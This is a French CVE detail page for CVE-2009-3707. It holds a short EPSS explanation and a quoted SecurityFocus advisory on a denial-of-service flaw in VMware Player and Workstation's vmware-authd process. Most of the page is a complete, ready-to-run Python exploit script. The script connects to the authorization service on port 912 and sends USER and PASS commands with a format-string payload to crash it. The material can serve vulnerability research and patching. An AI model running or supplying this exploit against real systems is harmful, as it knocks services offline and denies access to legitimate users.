CVE-2009-3707 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/36630/info VMware Player and Workstation are prone to a remote denial-of-service vulnerability because the applications fail to perform adequate validation checks on user-supplied input. An attacker can exploit this issue to crash the 'vmware-authd' process, denying service to legitimate users. NOTE: This issue was also covered in BID 39345 (VMware Hosted Products VMSA-2010-0007 Multiple Remote and Local Vulnerabilities); this BID is being retained to properly document the issue. # ---------------------------------------------------------------------------- # VMware Authorization Service <= 2.5.3 (vmware-authd.exe) Format String DoS # url: http://www.vmware.com/ # # author: shinnai # mail: shinnai[at]autistici[dot]org # site: http://www.shinnai.net # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. # # Tested on Windows XP Professional Ita SP3 full patched # ---------------------------------------------------------------------------- # usage: C:\>exploit.py 127.0.0.1 912 import socket import time import sys host = str(sys.argv[1]) port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: conn = s.connect((host, port)) d = s.recv(1024) print "Server <- " + d s.send('USER \x25\xFF \r\n') print 'Sending command "USER" + evil string...' d = s.recv(1024) print "Server response <- " + d s.send('PASS \x25\xFF \r\n') print 'Sending command "PASS" + evil string...' try: d = s.recv(1024) print "Server response <- " + d except: print "\nExploit completed..." except: print "Something goes wrong honey..."